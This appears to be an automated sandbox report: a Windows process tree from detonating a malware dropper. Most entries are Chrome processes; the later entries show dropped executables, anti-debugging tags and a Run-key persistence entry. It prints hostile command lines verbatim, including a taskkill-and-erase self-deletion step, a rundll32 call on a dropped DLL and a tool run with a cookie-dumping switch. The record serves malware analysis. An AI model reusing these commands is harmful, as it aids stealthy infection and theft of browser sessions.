                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2860 /prefetch:1
                                                                8⤵
                                                                  PID:5132
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2868 /prefetch:1
                                                                  8⤵
                                                                    PID:5148
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
                                                                    8⤵
                                                                      PID:5176
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3516 /prefetch:1
                                                                      8⤵
                                                                        PID:5196
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:1
                                                                        8⤵
                                                                          PID:5264
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
                                                                          8⤵
                                                                            PID:5248
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4716 /prefetch:8
                                                                            8⤵
                                                                              PID:5672
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
                                                                              8⤵
                                                                                PID:3620
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3928 /prefetch:8
                                                                                8⤵
                                                                                  PID:4148
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6020 /prefetch:8
                                                                                  8⤵
                                                                                    PID:5028
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6316 /prefetch:8
                                                                                    8⤵
                                                                                      PID:5036
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6596 /prefetch:8
                                                                                      8⤵
                                                                                        PID:4860
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6460 /prefetch:8
                                                                                        8⤵
                                                                                          PID:3184
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6152 /prefetch:8
                                                                                          8⤵
                                                                                            PID:5092
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3664 /prefetch:8
                                                                                            8⤵
                                                                                              PID:772
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6756 /prefetch:8
                                                                                              8⤵
                                                                                                PID:2188
                                                                                              • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                                                                                8⤵
                                                                                                  PID:4400
                                                                                                  • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x244,0x248,0x24c,0x220,0x250,0x7ff60713a890,0x7ff60713a8a0,0x7ff60713a8b0
                                                                                                    9⤵
                                                                                                      PID:4356
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3620 /prefetch:8
                                                                                                    8⤵
                                                                                                      PID:5108
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4204 /prefetch:8
                                                                                                      8⤵
                                                                                                        PID:5156
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5792 /prefetch:8
                                                                                                        8⤵
                                                                                                          PID:5464
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3612 /prefetch:8
                                                                                                          8⤵
                                                                                                            PID:4980
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5588 /prefetch:8
                                                                                                            8⤵
                                                                                                              PID:3984
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5592 /prefetch:8
                                                                                                              8⤵
                                                                                                                PID:4724
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6040 /prefetch:8
                                                                                                                8⤵
                                                                                                                  PID:5944
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6136 /prefetch:8
                                                                                                                  8⤵
                                                                                                                    PID:5664
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6128 /prefetch:8
                                                                                                                    8⤵
                                                                                                                      PID:4492
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6100 /prefetch:8
                                                                                                                      8⤵
                                                                                                                        PID:5852
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6092 /prefetch:8
                                                                                                                        8⤵
                                                                                                                          PID:6040
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6764 /prefetch:8
                                                                                                                          8⤵
                                                                                                                            PID:5736
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6064 /prefetch:8
                                                                                                                            8⤵
                                                                                                                              PID:5416
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1360 /prefetch:8
                                                                                                                              8⤵
                                                                                                                                PID:5420
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7096 /prefetch:8
                                                                                                                                8⤵
                                                                                                                                  PID:4852
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6868 /prefetch:8
                                                                                                                                  8⤵
                                                                                                                                    PID:4896
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3940 /prefetch:8
                                                                                                                                    8⤵
                                                                                                                                      PID:5204
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7232 /prefetch:8
                                                                                                                                      8⤵
                                                                                                                                        PID:5408
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7412 /prefetch:8
                                                                                                                                        8⤵
                                                                                                                                          PID:3452
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7400 /prefetch:8
                                                                                                                                          8⤵
                                                                                                                                            PID:5396
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7664 /prefetch:8
                                                                                                                                            8⤵
                                                                                                                                              PID:5708
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7644 /prefetch:8
                                                                                                                                              8⤵
                                                                                                                                                PID:4920
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7864 /prefetch:8
                                                                                                                                                8⤵
                                                                                                                                                  PID:640
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7852 /prefetch:8
                                                                                                                                                  8⤵
                                                                                                                                                    PID:3568
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7828 /prefetch:8
                                                                                                                                                    8⤵
                                                                                                                                                      PID:1604
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7816 /prefetch:8
                                                                                                                                                      8⤵
                                                                                                                                                        PID:1832
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7792 /prefetch:8
                                                                                                                                                        8⤵
                                                                                                                                                          PID:5424
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5680 /prefetch:8
                                                                                                                                                          8⤵
                                                                                                                                                            PID:1272
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7836 /prefetch:8
                                                                                                                                                            8⤵
                                                                                                                                                              PID:644
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8204 /prefetch:1
                                                                                                                                                              8⤵
                                                                                                                                                                PID:5496
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5168 /prefetch:1
                                                                                                                                                                8⤵
                                                                                                                                                                  PID:4976
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7856 /prefetch:8
                                                                                                                                                                  8⤵
                                                                                                                                                                    PID:5000
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15521640358469114957,15530424465889504189,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8580 /prefetch:1
                                                                                                                                                                    8⤵
                                                                                                                                                                      PID:3920
                                                                                                                                                                • C:\Users\Admin\Documents\R4rWBzuoWcliHIHlLCyvTyO2.exe
                                                                                                                                                                  "C:\Users\Admin\Documents\R4rWBzuoWcliHIHlLCyvTyO2.exe"
                                                                                                                                                                  6⤵
                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                  PID:4348
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c taskkill /im "R4rWBzuoWcliHIHlLCyvTyO2.exe" /f & erase "C:\Users\Admin\Documents\R4rWBzuoWcliHIHlLCyvTyO2.exe" & exit
                                                                                                                                                                    7⤵
                                                                                                                                                                      PID:5848
                                                                                                                                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                        taskkill /im "R4rWBzuoWcliHIHlLCyvTyO2.exe" /f
                                                                                                                                                                        8⤵
                                                                                                                                                                        • Kills process with taskkill
                                                                                                                                                                        PID:6008
                                                                                                                                                                  • C:\Users\Admin\Documents\2GvHg6W3cnRVRgHMvEEd4u1b.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\2GvHg6W3cnRVRgHMvEEd4u1b.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                    PID:4880
                                                                                                                                                                    • C:\Users\Admin\Documents\2GvHg6W3cnRVRgHMvEEd4u1b.exe
                                                                                                                                                                      C:\Users\Admin\Documents\2GvHg6W3cnRVRgHMvEEd4u1b.exe
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Loads dropped DLL
                                                                                                                                                                      PID:5048
                                                                                                                                                                  • C:\Users\Admin\Documents\PdNVReMTIbDRTbbxZHCND2X8.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\PdNVReMTIbDRTbbxZHCND2X8.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                    PID:4392
                                                                                                                                                                    • C:\Users\Admin\Documents\PdNVReMTIbDRTbbxZHCND2X8.exe
                                                                                                                                                                      C:\Users\Admin\Documents\PdNVReMTIbDRTbbxZHCND2X8.exe
                                                                                                                                                                      7⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      PID:2908
                                                                                                                                                                  • C:\Users\Admin\Documents\6sns7flR7vihJlnvH3t7RV2B.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\6sns7flR7vihJlnvH3t7RV2B.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                    PID:4372
                                                                                                                                                                  • C:\Users\Admin\Documents\wp87_axB2DY3g4neLUOxjSg2.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\wp87_axB2DY3g4neLUOxjSg2.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                    • Checks whether UAC is enabled
                                                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                    PID:4304
                                                                                                                                                                  • C:\Users\Admin\Documents\rtoBuifC1FI6av1LsnBbRYHT.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\rtoBuifC1FI6av1LsnBbRYHT.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:1156
                                                                                                                                                                  • C:\Users\Admin\Documents\ZPEarHWN3SrYEVNWCv3M1XfG.exe
                                                                                                                                                                    "C:\Users\Admin\Documents\ZPEarHWN3SrYEVNWCv3M1XfG.exe"
                                                                                                                                                                    6⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                    PID:1548
                                                                                                                                                                    • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                      "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                                                                      7⤵
                                                                                                                                                                        PID:5048
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c sotema_7.exe
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                  PID:2148
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\sotema_7.exe
                                                                                                                                                                    sotema_7.exe
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                    PID:3988
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\sotema_7.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\sotema_7.exe
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                      PID:1968
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c sotema_8.exe
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                                  PID:2112
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS0DCBFC94\sotema_8.exe
                                                                                                                                                                    sotema_8.exe
                                                                                                                                                                    5⤵
                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                    PID:1392
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                      PID:4704
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                        7⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        PID:4136
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                        7⤵
                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                        PID:3960
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\liqian.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\liqian.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                      PID:4856
                                                                                                                                                                      • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                                                                        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",axhub
                                                                                                                                                                        7⤵
                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                        PID:4344
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\UGloryStp.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\UGloryStp.exe"
                                                                                                                                                                      6⤵
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                      PID:1468
                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                            1⤵
                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                            PID:476
                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                              C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                              2⤵
                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                              • Modifies registry class
                                                                                                                                                              PID:4280
                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                            1⤵
                                                                                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:5660
